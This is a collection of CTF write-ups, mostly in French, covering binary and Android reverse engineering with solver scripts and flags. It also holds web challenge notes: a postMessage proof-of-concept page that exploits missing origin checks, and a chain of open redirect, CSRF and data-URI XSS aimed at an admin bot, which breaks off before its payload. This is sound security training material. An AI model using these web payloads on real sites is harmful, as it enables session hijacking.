```> file call_less_secretcall_less_secret: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f2a3898094c987aad8cd713e90f12863b04593c4, not stripped```
Son exécution montre qu'il attend un password en paramètre:
```> ./call_less_secretYou need to give me the password to reach the call less secret```
```> ./call_less_secret ABCDEFSorry your password is wrong```
## Méthode pour cacher les appels de fonctions
Une fois dessasemblé sous IDA, on voit que le main est accompagné que de quelques fonctions:
Le main appelle la fonction **sub_AC8()** avec le password en paramètre:
Cette dernière fait des choses intéressantes:
Une boucle modifie la stack en remplissant un tableau de 40 éléments de 2 octets chacun (0x10). Dans chaque élément, on stocke d'abord l'adresse du prochain élément, puis l'adresse d'un byte en mémoire qui a la valeur 0x90, soit NOP.
Ça se confirme avec gdb, avec un breakpoint à la sortie de la boucle:
```>>> x/80xg $rbp-0x2C00x7fffffffdc70: 0x00007fffffffdc80 0x000055555555475e0x7fffffffdc80: 0x00007fffffffdc90 0x000055555555475e0x7fffffffdc90: 0x00007fffffffdca0 0x000055555555475e0x7fffffffdca0: 0x00007fffffffdcb0 0x000055555555475e0x7fffffffdcb0: 0x00007fffffffdcc0 0x000055555555475e0x7fffffffdcc0: 0x00007fffffffdcd0 0x000055555555475e0x7fffffffdcd0: 0x00007fffffffdce0 0x000055555555475e0x7fffffffdce0: 0x00007fffffffdcf0 0x000055555555475e0x7fffffffdcf0: 0x00007fffffffdd00 0x000055555555475e0x7fffffffdd00: 0x00007fffffffdd10 0x000055555555475e0x7fffffffdd10: 0x00007fffffffdd20 0x000055555555475e0x7fffffffdd20: 0x00007fffffffdd30 0x000055555555475e0x7fffffffdd30: 0x00007fffffffdd40 0x000055555555475e0x7fffffffdd40: 0x00007fffffffdd50 0x000055555555475e0x7fffffffdd50: 0x00007fffffffdd60 0x000055555555475e>>> x/xb 0x000055555555475e0x55555555475e: 0x90```
On voit les éléments sur 2 octets avec, en premier, l'adresse qui pointe sur l'élément suivant et, en second, l'adresse du NOP.
Une fois sorti de la boucle, l'assembleur recharge l'adresse du tableau et, manuellement, passe en revue les éléments (il enchaîne **rax + 0x10**, **rax + 0x20**, etc.). Pour chacun d'eux, il remplace le NOP par l'adresse d'une fonction.
```>>> x/20xg $rbp-0x2C00x7fffffffdc70: 0x00007fffffffdc80 0x00005555555548740x7fffffffdc80: 0x00007fffffffdc90 0x00005555555547960x7fffffffdc90: 0x00007fffffffdca0 0x00005555555547e00x7fffffffdca0: 0x00007fffffffdcb0 0x000055555555482a0x7fffffffdcb0: 0x00007fffffffdcc0 0x00005555555547e00x7fffffffdcc0: 0x00007fffffffdcd0 0x000055555555482a0x7fffffffdcd0: 0x00007fffffffdce0 0x00005555555547e00x7fffffffdce0: 0x00007fffffffdcf0 0x000055555555482a0x7fffffffdcf0: 0x00007fffffffdd00 0x0000555555554a210x7fffffffdd00: 0x00007fffffffdd10 0x000055555555482a```Enfin, il appelle la fonction **sub_A7C()**:
La fonction crée un pointeur vers lui même puis appelle **sub_761()** avec le pointeur et l'adresse du NOP en paramètre. C'est là que la magie se produit:
La fonction n'appelle rien, mais utilise le pointeur reçu comme référence pour modifier la stack.
Le schéma suivant montre la stack depuis la fonction **sub761()** avec ses deux paramètres copiés: le pointeur de référence et l'addresse du NOP. Si l'on regarde le code décompilé, on voit que les offsets utilisés pointent sur l'adresse de retour et la sauvegarde du **rbp** de la fonction **sub_AC8()**. Ces deux valeurs sont modifiées afin que l'adresse de retour soit égale à l'adresse du NOP et que le précédent **rbp** soit au début du tableau.
Ci-dessous le contenu de la stack avant et après l'éxécution de la fonction (**0x7fffffffdc30** contient l'adresse du NOP). On distingue clairement le pointeur de réfèrence en **0x00007fffffffdc50** et le changement en **0x7fffffffdc60** qui contient, après éxécution, l'adresse du tableau **0x00007fffffffdc70**, suivie de l'adresse du NOP **0x000055555555475e**.
```>>> x/20xg $rbp-160x7fffffffdc30: 0x000055555555475e 0x00007fffffffdc500x7fffffffdc40: 0x00007fffffffdc60 0x0000555555554ab10x7fffffffdc50: 0x00007fffffffdc50 0xd0588f1d0dd02c000x7fffffffdc60: 0x00007fffffffdf30 0x0000555555554d070x7fffffffdc70: 0x00007fffffffdc80 0x00005555555548740x7fffffffdc80: 0x00007fffffffdc90 0x00005555555547960x7fffffffdc90: 0x00007fffffffdca0 0x00005555555547e0``````>>> x/20xg $rbp-160x7fffffffdc30: 0x000055555555475e 0x00007fffffffdc500x7fffffffdc40: 0x00007fffffffdc60 0x0000555555554ab10x7fffffffdc50: 0x00007fffffffdc50 0xd0588f1d0dd02c000x7fffffffdc60: 0x00007fffffffdc70 0x000055555555475e0x7fffffffdc70: 0x00007fffffffdc80 0x00005555555548740x7fffffffdc80: 0x00007fffffffdc90 0x00005555555547960x7fffffffdc90: 0x00007fffffffdca0 0x00005555555547e0```
Maintenant, lorsque la fonction **sub_A7C** va faire son **leave**, le **rbp** va être celui du tableau. À l'exécution du return, l'adresse de retour va être celle du **NOP**. Si l'on regarde la mémoire, on s'aperçoit que le **NOP** est suivi d'un pop **rbp** et d'un autre return. On avance ainsi dans le tableau qui contient une suite de précédents **rbp** et d'adresses de retour qui sont les fonctions à exécuter pour vérifier le password. À partir de maintenant, on va avoir un chaînage des fonctions stockées dans le tableau. Il suffit de reverser ces fonctions dans l'ordre pour comprendre la vérification du flag.
## Reverse de la vérification
Les fonctions sont appelées dans l'ordre d'insertion dans le tableau. On a donc:
* **sub_874()*** **sub_796()*** **sub_7E0()*** **sub_82A()*** **sub_7E0()*** **sub_82A()*** **sub_7E0()*** **sub_82A()*** **sub_A21()*** **sub_82A()*** **sub_7E0()*** **sub_918()*** **sub_90A()**
Certaines fonctions sont appellées plusieurs fois. Si l'on prend la première, on voit qu'IDA a un problème lors de la décompilation: *« 905: positive sp value has been found »*. Si l'on regarde le code, on voit qu'il y a un déséquilibre des push et des pop. La fonction se termine avec un **pop rpb**, alors qu'il n'y a jamais eu de push.
Ce **pop rpb** est nécessaire pour passer à l'élément suivant et ainsi récupérer l'adresse de retour de la prochaine fonction en **rbp-8**.
Pour qu'IDA soit content, on patch le **pop rbx** par un NOP. On obtient la version décompilé:
La fonction inverse les caractères par rapport au milieu. Le premier devient le dernier, le dernier le premier, le second devient l'avant-dernier, l'avant-dernier le second, etc.
Ce travail doit être fait pour chacune des fonctions (patch, puis reverse). Pour les autres fonctions, on voit que:
* **sub_796()** fait un **OU 0x80** sur chaque caractère.* **sub_7E0()** fait un **XOR 0xCA** sur chaque caractère.* **sub_82A()** fait un **ADD 66** à chaque caractère.* **sub_A21()** fait un **XOR 0xFE** sur chaque caractère et appelle la fonction **sub_761()** avec la fonction **sub_A11()** en paramètre.* **sub_918()** affiche success si son paramètre est vrai.
Ces fonctions sont facilement réversibles. La fonction **sub_A21()** appelle la fonction **sub_761()** que l'on a déja rencontrée et qui modifie l'adresse de retour et le **rbp** sauvegardé à partir d'un pointeur de référence. Il est fort à parier que cela permet d'appeler la fonction **sub_A11()** discrètement.
Cette fonction appelle **sub_94B()** qui est la fonction la plus intéressante:
Elle vérifie que les caractères du password modifié sont égales aux valeurs attendues en utilisant une soustraction. On détermine aussi la taille du flag, puisqu'il s'arrête soit à la fin du flag entré (s'il est trop court) ou lorsque la valeur attendue vaut 0 (fin du flag).
Il suffit de dumper la mémoire avec gdb jusqu'à trouver un 0x00.
```>>> x/28xb $rax0x555555554e08: 0x7f 0xa1 0x76 0xb0 0xa9 0x85 0x4b 0x850x555555554e10: 0x93 0x8e 0xbb 0x98 0x9b 0xa9 0x45 0x770x555555554e18: 0x8b 0x83 0x8f 0x36 0x98 0xf3 0xa6 0x8d0x555555554e20: 0xb5 0xa2 0x96 0x00>>> dump binary memory expected.bin 0x555555554e08 0x555555554e08+27```
Le flag fait 27 caractères.
## Reverse du flag
J'ai écrit le script python suivant pour tester les caractères imprimables et vérifier si après traitement je tombe sur le résultat attendu. À la fin, il ne faut pas oublier d'appliquer le reverse des caractères pour mettre le flag dans l'ordre !
```python#!/usr/bin/env python
import sysimport osimport array
def reverse_processing(byte): res = byte | 0x80 res = res ^ 0xCA res = res + 66 res = res ^ 0xCA res = res + 66 res = res ^ 0xCA res = res + 66 res = res ^ 0xFE
return res
expected = open('expected.bin', 'rb').read()flag = []for i, e in enumerate(expected): for i in range(ord(' '), ord('~')): res = reverse_processing(i) if res & 0xff == e: flag.append(chr(i)) break
# Reverse charactersflag = array.array('u', flag)for i in range(0, len(flag)//2): tmp = flag[i] flag[i] = flag[len(flag)-i-1] flag[len(flag)-i-1] = tmp
print('flag: ' + ''.join(flag))```
Tadaaan...
```> ./solver.pyflag: THC{Dyn4miqu3_anAlYs1s_FtW}```
Merci aux organisateurs !
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
There is no origin validation for window post messsaging.```<html><script type="text/javascript">var call_window;call_window = window.open("http://localhost/call.php");setTimeout(function(){ call_window.postMessage({ type: "audio", details: { sender_username: "", sender_team_name: "zzzz", receiver_username: "test", receiver_team_name: "test" } }, "*");}, 1000);</script></html>``` |
# [CTF THCON18] Write-Up - Reverse: android (200 points)
## Description
Le challenge contenait un apk nommé « THC.apk ». Le texte qui l'accompagnait disait qu'il fallait trouver le serial pour activer l'application. N'ayant pas sous la main un émulateur android, je me suis lancé directement dans sa décompilation.
## Décompilation de l'application
Un APK est une simple archive zip que l'on peut extraire:
```> unzip -d THC THC.apk...> ls THCAndroidManifest.xml classes.dex META-INF res resources.ars```
Il contient les fichiers classiques d'une application Android. Le bytecode java est dans le *classes.dex*. L'outil **dex2jar** permet de le convertir au format *jar*. En quelques mots, le *jar* est le format historique pour stocker le bytecode java, mais Android préfère le format *dex* qui est optimisé pour les mobiles.
L'application **jd-gui** est très pratique pour décompiler les **.jar*.
```> dex2jar classes.dexdex2jar classes.dex -> ./classes-dex2jar.jar> jd-gui classes-dex2jar.jar```
## Analyse du code
Dans l'interface, on voit immédiatement un package nommé *com.thc.bestpig.serial* qui contient un fichier *MainActivity.class*. Les activités sont au coeur des interfaces utilisateurs sous Android. Ouvrons-le:
```javapackage com.thc.bestpig.serial;
import android.annotation.TargetApi;import android.content.DialogInterface;import android.content.DialogInterface.OnClickListener;import android.content.Intent;import android.os.Bundle;import android.support.v7.app.ActionBar;import android.support.v7.app.AlertDialog.Builder;import android.support.v7.app.AppCompatActivity;import android.text.InputFilter;import android.text.InputFilter.AllCaps;import android.text.InputFilter.LengthFilter;import android.view.View;import android.view.View.OnClickListener;import android.widget.Button;import android.widget.EditText;
public class MainActivity extends AppCompatActivity{ protected boolean checkPassword(String paramString) { if (validateSerial(paramString)) { new AlertDialog.Builder(this).setTitle("Well done ;)").setMessage("You can now validate this challenge.\n\nThe flag is the serial").setCancelable(false).setNeutralButton("Ok", new DialogInterface.OnClickListener() { public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) { paramAnonymousDialogInterface = new Intent(MainActivity.this.getApplicationContext(), PremiumActivity.class); MainActivity.this.startActivity(paramAnonymousDialogInterface); } }).show(); return true; } new AlertDialog.Builder(this).setTitle("Premium activation failed").setMessage("Please don't try random serial, buy a legit premium license to support developers.").setCancelable(false).setNeutralButton("Ok", new DialogInterface.OnClickListener() { public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) {} }).show(); return false; }
@TargetApi(21) protected void onCreate(final Bundle paramBundle) { super.onCreate(paramBundle); setContentView(2131296283); getSupportActionBar().setDisplayShowHomeEnabled(true); getSupportActionBar().setLogo(2131361792); getSupportActionBar().setDisplayUseLogoEnabled(true); paramBundle = (EditText)findViewById(2131165286); paramBundle.setFilters(new InputFilter[] { new InputFilter.AllCaps(), new InputFilter.LengthFilter(19) }); ((Button)findViewById(2131165219)).setOnClickListener(new View.OnClickListener() { public void onClick(View paramAnonymousView) { MainActivity.this.checkPassword(paramBundle.getText().toString()); } }); }
protected boolean validateSerial(String paramString) { if (paramString.length() != 19) {} while ((paramString.charAt(4) != '-') || (paramString.charAt(9) != '-') || (paramString.charAt(14) != '-') || (paramString.charAt(5) != paramString.charAt(6) + '\001') || (paramString.charAt(5) != paramString.charAt(18)) || (paramString.charAt(1) != paramString.charAt(18) % '\004' * 22) || (paramString.charAt(3) * paramString.charAt(15) / paramString.charAt(17) - 1 != paramString.charAt(10)) || (paramString.charAt(10) != paramString.charAt(1)) || (paramString.charAt(13) != paramString.charAt(10) + '\005') || (paramString.charAt(10) != paramString.charAt(5) - '\t') || (paramString.charAt(0) % paramString.charAt(7) * paramString.charAt(11) != 1440) || (paramString.charAt(2) - paramString.charAt(8) + paramString.charAt(12) != paramString.charAt(10) - '\t') || ((paramString.charAt(3) + paramString.charAt(12)) / 2 != paramString.charAt(16)) || (paramString.charAt(0) - paramString.charAt(2) + paramString.charAt(3) != paramString.charAt(12) + '\017') || (paramString.charAt(3) != paramString.charAt(13)) || (paramString.charAt(16) != paramString.charAt(0)) || (paramString.charAt(7) + '\001' != paramString.charAt(2)) || (paramString.charAt(15) + '\001' != paramString.charAt(11)) || (paramString.charAt(11) + '\003' != paramString.charAt(17)) || (paramString.charAt(7) + '\024' != paramString.charAt(6))) { return false; } return true; }}```
Il y a deux fonctions qui sautent aux yeux: **checkPassword()** et **validateSerial()**. Le **checkPassword()** appelle la fonction de validation du serial et affiche success en disant que le flag est le serial lui-même.
La fonction **validateSerial()** est très simple. Elle teste une série de conditions entre les 20 caractères du serial. On est sur un cas typique où il suffit de satisfaire toutes les contraintes entre les caractères pour trouver la valeur de chacun d'eux. Ce type de problème se résout à l'aide d'un solveur SAT.
## Trouver le serial avec z3
La librarie z3 a un solveur SAT très pratique. La définition des variables et des contraintes se fait naturellement en Python:
```python#!/usr/bin/env python
from z3 import *import os
solver = Solver()
# Define the serial charactersc0 = Int('c0')c1 = Int('c1')c2 = Int('c2')c3 = Int('c3')c4 = Int('c4')c5 = Int('c5')c6 = Int('c6')c7 = Int('c7')c8 = Int('c8')c9 = Int('c9')c10 = Int('c10')c11 = Int('c11')c12 = Int('c12')c13 = Int('c13')c14 = Int('c14')c15 = Int('c15')c16 = Int('c16')c17 = Int('c17')c18 = Int('c18')c19 = Int('c19')
# Define the possible values for each characters,# from ' ' and '~' (printable chars).solver.add((c0 >= 0x20, c0 <=0x7e))solver.add((c1 >= 0x20, c1 <=0x7e))solver.add((c2 >= 0x20, c2 <=0x7e))solver.add((c3 >= 0x20, c3 <=0x7e))solver.add((c4 >= 0x20, c4 <=0x7e))solver.add((c5 >= 0x20, c5 <=0x7e))solver.add((c6 >= 0x20, c6 <=0x7e))solver.add((c7 >= 0x20, c7 <=0x7e))solver.add((c8 >= 0x20, c8 <=0x7e))solver.add((c9 >= 0x20, c9 <=0x7e))solver.add((c10 >= 0x20, c10 <=0x7e))solver.add((c11 >= 0x20, c11 <=0x7e))solver.add((c12 >= 0x20, c12 <=0x7e))solver.add((c13 >= 0x20, c13 <=0x7e))solver.add((c14 >= 0x20, c14 <=0x7e))solver.add((c15 >= 0x20, c15 <=0x7e))solver.add((c16 >= 0x20, c16 <=0x7e))solver.add((c17 >= 0x20, c17 <=0x7e))solver.add((c18 >= 0x20, c18 <=0x7e))solver.add((c19 >= 0x20, c19 <=0x7e))
# Define the constraints that have been# founded in MainActivity.class.solver.add(c4 == 45)solver.add(c9 == 45)solver.add(c14 == 45)solver.add(c5 == (c6 + 1))solver.add(c5 == c18)solver.add(c1 == c18 % 4 * 22)solver.add(c10 == c3 * c15 / c17 - 1)solver.add(c10 == c1)solver.add(c13 == c10 + 5)solver.add(c10 == c5 - 9)solver.add(c0 % c7 * c11 == 1440)solver.add(c2 - c8 + c12 == c10 - 9)solver.add((c3 + c12) / 2 == c16)solver.add(c0 - c2 + c3 == c12 + 15)solver.add(c3 == c13)solver.add(c16 == c0)solver.add(c7 + 1 == c2)solver.add(c15 + 1 == c11)solver.add(c11 + 3 == c17)solver.add(c7 + 20 == c6)
# Check() returns true if there is a solution# and model() the values founded.if solver.check(): print(solver.model())else: print('Not found.')```
On lance le script...
```> python2 solver.py[k!3 = 18, c17 = 83, c19 = 33, k!7 = 1, c8 = 71, c12 = 73, c2 = 55, c15 = 79, c11 = 80, c1 = 66, c18 = 75, c5 = 75, c6 = 74, c7 = 54, c16 = 72, c0 = 72, c3 = 71, c13 = 71, c10 = 66, c14 = 45, c9 = 45, c4 = 45]```
Une fois les caractères dans l'ordre et le decimal converti en ascii, on obtient le serial:
```HB7G-KJ6G-BPIG-OHSK!```Merci aux organisateurs !
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>backdoorCTF18</span></span><span>/</span>ccssl<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>backdoorCTF18</span></span><span>/</span>ccssl<span>/</span></div>
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# Assemble your way to the flag (50 pts)
~~~My friend was trying out assembly for the first time, he has no clue what he's doing, help him out and procure your reward in the form of a flag :)~~~
~~~$ gdb -q ./question Reading symbols from ./question...(no debugging symbols found)...done.gdb-peda$ runStarting program: /home/valle/Downloads/question Look for something else....[Inferior 1 (process 1612) exited normally]Warning: not running or target is remotegdb-peda$ pdisass mainDump of assembler code for function main: 0x00005555555546a0 <+0>: push rbp 0x00005555555546a1 <+1>: mov rbp,rsp 0x00005555555546a4 <+4>: lea rdi,[rip+0x2b9] # 0x555555554964 0x00005555555546ab <+11>: mov eax,0x0 0x00005555555546b0 <+16>: mov rax,0x50 0x00005555555546b7 <+23>: mov rbx,0x2d 0x00005555555546be <+30>: xor rax,rbx 0x00005555555546c1 <+33>: push rax 0x00005555555546c2 <+34>: mov rax,0xc1 0x00005555555546c9 <+41>: mov rbx,0xb8 0x00005555555546d0 <+48>: xor rax,rbx 0x00005555555546d3 <+51>: push rax 0x00005555555546d4 <+52>: mov rax,0x51 0x00005555555546db <+59>: mov rbx,0x60 0x00005555555546e2 <+66>: xor rax,rbx 0x00005555555546e5 <+69>: push rax 0x00005555555546e6 <+70>: mov rax,0x33 0x00005555555546ed <+77>: mov rbx,0x51 0x00005555555546f4 <+84>: xor rax,rbx 0x00005555555546f7 <+87>: push rax 0x00005555555546f8 <+88>: mov rax,0x45 0x00005555555546ff <+95>: mov rbx,0x28 0x0000555555554706 <+102>: xor rax,rbx 0x0000555555554709 <+105>: push rax 0x000055555555470a <+106>: mov rax,0x9b 0x0000555555554711 <+113>: mov rbx,0xa8 0x0000555555554718 <+120>: xor rax,rbx 0x000055555555471b <+123>: push rax 0x000055555555471c <+124>: mov rax,0x71 0x0000555555554723 <+131>: mov rbx,0x2 0x000055555555472a <+138>: xor rax,rbx 0x000055555555472d <+141>: push rax 0x000055555555472e <+142>: mov rax,0x8b 0x0000555555554735 <+149>: mov rbx,0xd8 0x000055555555473c <+156>: xor rax,rbx 0x000055555555473f <+159>: push rax 0x0000555555554740 <+160>: mov rax,0x98 0x0000555555554747 <+167>: mov rbx,0xac 0x000055555555474e <+174>: xor rax,rbx 0x0000555555554751 <+177>: push rax 0x0000555555554752 <+178>: mov rax,0x8e 0x0000555555554759 <+185>: mov rbx,0xd1 0x0000555555554760 <+192>: xor rax,rbx 0x0000555555554763 <+195>: push rax 0x0000555555554764 <+196>: mov rax,0x66 0x000055555555476b <+203>: mov rbx,0x8 0x0000555555554772 <+210>: xor rax,rbx 0x0000555555554775 <+213>: push rax 0x0000555555554776 <+214>: mov rax,0xa9 0x000055555555477d <+221>: mov rbx,0x98 0x0000555555554784 <+228>: xor rax,rbx 0x0000555555554787 <+231>: push rax 0x0000555555554788 <+232>: mov rax,0x65 0x000055555555478f <+239>: mov rbx,0x3a 0x0000555555554796 <+246>: xor rax,rbx 0x0000555555554799 <+249>: push rax 0x000055555555479a <+250>: mov rax,0x7e 0x00005555555547a1 <+257>: mov rbx,0x4d 0x00005555555547a8 <+264>: xor rax,rbx 0x00005555555547ab <+267>: push rax 0x00005555555547ac <+268>: mov rax,0x10 0x00005555555547b3 <+275>: mov rbx,0x74 0x00005555555547ba <+282>: xor rax,rbx 0x00005555555547bd <+285>: push rax 0x00005555555547be <+286>: mov rax,0x6b 0x00005555555547c5 <+293>: mov rbx,0x5b 0x00005555555547cc <+300>: xor rax,rbx 0x00005555555547cf <+303>: push rax 0x00005555555547d0 <+304>: mov rax,0x98 0x00005555555547d7 <+311>: mov rbx,0xfb 0x00005555555547de <+318>: xor rax,rbx 0x00005555555547e1 <+321>: push rax 0x00005555555547e2 <+322>: mov rax,0xc5 0x00005555555547e9 <+329>: mov rbx,0x9a 0x00005555555547f0 <+336>: xor rax,rbx 0x00005555555547f3 <+339>: push rax 0x00005555555547f4 <+340>: mov rax,0x37 0x00005555555547fb <+347>: mov rbx,0x44 0x0000555555554802 <+354>: xor rax,rbx 0x0000555555554805 <+357>: push rax 0x0000555555554806 <+358>: mov rax,0x92 0x000055555555480d <+365>: mov rbx,0xf6 0x0000555555554814 <+372>: xor rax,rbx 0x0000555555554817 <+375>: push rax 0x0000555555554818 <+376>: mov rax,0x44 0x000055555555481f <+383>: mov rbx,0xa 0x0000555555554826 <+390>: xor rax,rbx 0x0000555555554829 <+393>: push rax 0x000055555555482a <+394>: mov rax,0x80 0x0000555555554831 <+401>: mov rbx,0xe5 0x0000555555554838 <+408>: xor rax,rbx 0x000055555555483b <+411>: push rax 0x000055555555483c <+412>: mov rax,0xc8 0x0000555555554843 <+419>: mov rbx,0xaf 0x000055555555484a <+426>: xor rax,rbx 0x000055555555484d <+429>: push rax 0x000055555555484e <+430>: mov rax,0x26 0x0000555555554855 <+437>: mov rbx,0x15 0x000055555555485c <+444>: xor rax,rbx 0x000055555555485f <+447>: push rax 0x0000555555554860 <+448>: mov rax,0x3e 0x0000555555554867 <+455>: mov rbx,0x52 0x000055555555486e <+462>: xor rax,rbx 0x0000555555554871 <+465>: push rax 0x0000555555554872 <+466>: mov rax,0x9a 0x0000555555554879 <+473>: mov rbx,0xe1 0x0000555555554880 <+480>: xor rax,rbx 0x0000555555554883 <+483>: push rax 0x0000555555554884 <+484>: mov rax,0x13 0x000055555555488b <+491>: mov rbx,0x75 0x0000555555554892 <+498>: xor rax,rbx 0x0000555555554895 <+501>: push rax 0x0000555555554896 <+502>: mov rax,0xa2 0x000055555555489d <+509>: mov rbx,0xd6 0x00005555555548a4 <+516>: xor rax,rbx 0x00005555555548a7 <+519>: push rax 0x00005555555548a8 <+520>: mov rax,0xbe 0x00005555555548af <+527>: mov rbx,0xdd 0x00005555555548b6 <+534>: xor rax,rbx 0x00005555555548b9 <+537>: push rax 0x00005555555548ba <+538>: mov rax,0xac 0x00005555555548c1 <+545>: mov rbx,0xdc 0x00005555555548c8 <+552>: xor rax,rbx 0x00005555555548cb <+555>: push rax 0x00005555555548cc <+556>: call 0x555555554560 0x00005555555548d1 <+561>: mov eax,0x0 0x00005555555548d6 <+566>: add rsp,0xf0 0x00005555555548dd <+573>: pop rbp 0x00005555555548de <+574>: ret End of assembler dump.gdb-peda$ break mainBreakpoint 1 at 0x5555555546a4gdb-peda$ break *0x00005555555548d1Breakpoint 2 at 0x5555555548d1gdb-peda$ runStarting program: /home/valle/Downloads/question
[----------------------------------registers-----------------------------------]RAX: 0x5555555546a0 (<main>: push rbp)RBX: 0x0 RCX: 0x0 RDX: 0x7fffffffe168 --> 0x7fffffffe47a ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)RSI: 0x7fffffffe158 --> 0x7fffffffe45b ("/home/valle/Downloads/question")RDI: 0x1 RBP: 0x7fffffffe070 --> 0x5555555548e0 (<__libc_csu_init>: push r15)RSP: 0x7fffffffe070 --> 0x5555555548e0 (<__libc_csu_init>: push r15)RIP: 0x5555555546a4 (<main+4>: lea rdi,[rip+0x2b9] # 0x555555554964)R8 : 0x555555554950 (<__libc_csu_fini>: repz ret)R9 : 0x7ffff7de8cb0 (<_dl_fini>: push rbp)R10: 0x4 R11: 0x1 R12: 0x555555554570 (<_start>: xor ebp,ebp)R13: 0x7fffffffe150 --> 0x1 R14: 0x0 R15: 0x0EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x55555555469b <frame_dummy+43>: jmp 0x5555555545e0 <register_tm_clones> 0x5555555546a0 <main>: push rbp 0x5555555546a1 <main+1>: mov rbp,rsp=> 0x5555555546a4 <main+4>: lea rdi,[rip+0x2b9] # 0x555555554964 0x5555555546ab <main+11>: mov eax,0x0 0x5555555546b0 <main+16>: mov rax,0x50 0x5555555546b7 <main+23>: mov rbx,0x2d 0x5555555546be <main+30>: xor rax,rbx[------------------------------------stack-------------------------------------]0000| 0x7fffffffe070 --> 0x5555555548e0 (<__libc_csu_init>: push r15)0008| 0x7fffffffe078 --> 0x7ffff7a5a2b1 (<__libc_start_main+241>: mov edi,eax)0016| 0x7fffffffe080 --> 0x40000 0024| 0x7fffffffe088 --> 0x7fffffffe158 --> 0x7fffffffe45b ("/home/valle/Downloads/question")0032| 0x7fffffffe090 --> 0x1f7b9b2e8 0040| 0x7fffffffe098 --> 0x5555555546a0 (<main>: push rbp)0048| 0x7fffffffe0a0 --> 0x0 0056| 0x7fffffffe0a8 --> 0x9ad5913901955e19 [------------------------------------------------------------------------------]Legend: code, data, rodata, value
Breakpoint 1, 0x00005555555546a4 in main ()gdb-peda$ cContinuing.Look for something else....
[----------------------------------registers-----------------------------------]RAX: 0x1c RBX: 0xdc RCX: 0x7ffff7b15760 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)RDX: 0x7ffff7dd5760 --> 0x0 RSI: 0x555555756010 ("Look for something else....\n")RDI: 0x555555756010 ("Look for something else....\n")RBP: 0x7fffffffe070 --> 0x5555555548e0 (<__libc_csu_init>: push r15)RSP: 0x7fffffffdf80 --> 0x70 ('p')RIP: 0x5555555548d1 (<main+561>: mov eax,0x0)R8 : 0x555555756000 --> 0x0 R9 : 0x1c R10: 0x7ffff7dd3b58 --> 0x555555756410 --> 0x0 R11: 0x246 R12: 0x555555554570 (<_start>: xor ebp,ebp)R13: 0x7fffffffe150 --> 0x1 R14: 0x0 R15: 0x0EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x5555555548c8 <main+552>: xor rax,rbx 0x5555555548cb <main+555>: push rax 0x5555555548cc <main+556>: call 0x555555554560=> 0x5555555548d1 <main+561>: mov eax,0x0 0x5555555548d6 <main+566>: add rsp,0xf0 0x5555555548dd <main+573>: pop rbp 0x5555555548de <main+574>: ret 0x5555555548df: nop[------------------------------------stack-------------------------------------]0000| 0x7fffffffdf80 --> 0x70 ('p')0008| 0x7fffffffdf88 --> 0x63 ('c')0016| 0x7fffffffdf90 --> 0x74 ('t')0024| 0x7fffffffdf98 --> 0x66 ('f')0032| 0x7fffffffdfa0 --> 0x7b ('{')0040| 0x7fffffffdfa8 --> 0x6c ('l')0048| 0x7fffffffdfb0 --> 0x33 ('3')0056| 0x7fffffffdfb8 --> 0x67 ('g')[------------------------------------------------------------------------------]Legend: code, data, rodata, value
Breakpoint 2, 0x00005555555548d1 in main ()
0x7fffffffdff0: 0x00000030 0x00000000gdb-peda$ x/30ws 0x7fffffffdf800x7fffffffdf80: U"p"0x7fffffffdf88: U"c"0x7fffffffdf90: U"t"0x7fffffffdf98: U"f"0x7fffffffdfa0: U"{"0x7fffffffdfa8: U"l"0x7fffffffdfb0: U"3"0x7fffffffdfb8: U"g"0x7fffffffdfc0: U"e"0x7fffffffdfc8: U"N"0x7fffffffdfd0: U"d"0x7fffffffdfd8: U"s"0x7fffffffdfe0: U"_"0x7fffffffdfe8: U"c"0x7fffffffdff0: U"0"0x7fffffffdff8: U"d"0x7fffffffe000: U"3"0x7fffffffe008: U"_"0x7fffffffe010: U"1"0x7fffffffe018: U"n"0x7fffffffe020: U"_"0x7fffffffe028: U"4"0x7fffffffe030: U"S"0x7fffffffe038: U"s"0x7fffffffe040: U"3"0x7fffffffe048: U"m"0x7fffffffe050: U"b"0x7fffffffe058: U"1"0x7fffffffe060: U"y"0x7fffffffe068: U"}"~~~ |
I spent far too long going in the wrong direction for this task. I found an unintended vulnerability, which I thought was the solution, but this was later patched during the challenge.
### Initial (Unintended) Solution
I found that if you updated your profile information to contain an XSS payload, you could trigger a (self) XSS when visiting the home page. This combined with a CSRF exploit to update the profile information could potentially be used to gain XSS from the admin. However this vulnerability was patched before I could get the flag.
### My Actual Solution
The admin would now only visit pages coming from the challenge host. To get around this an open redirect vulnerability was found as seen below:`http://51.15.73.163:13337/redirect.php?url=http://myip&h=341cd45197fd184ef27833a1fe316dd9`Note `h` is the MD5 hash of the `url` value.
This challenge was also exploited using the `window.postMessage` XSS however the page now validated that the request came from the same origin. To exploit this we used a data URI XSS which has a null origin and bypasses the origin validation. This is shown below:
#### Payload Stage 1
The first payload triggers an XSS in the user's browser which then loads another JavaScript payload using the `data:URI`.
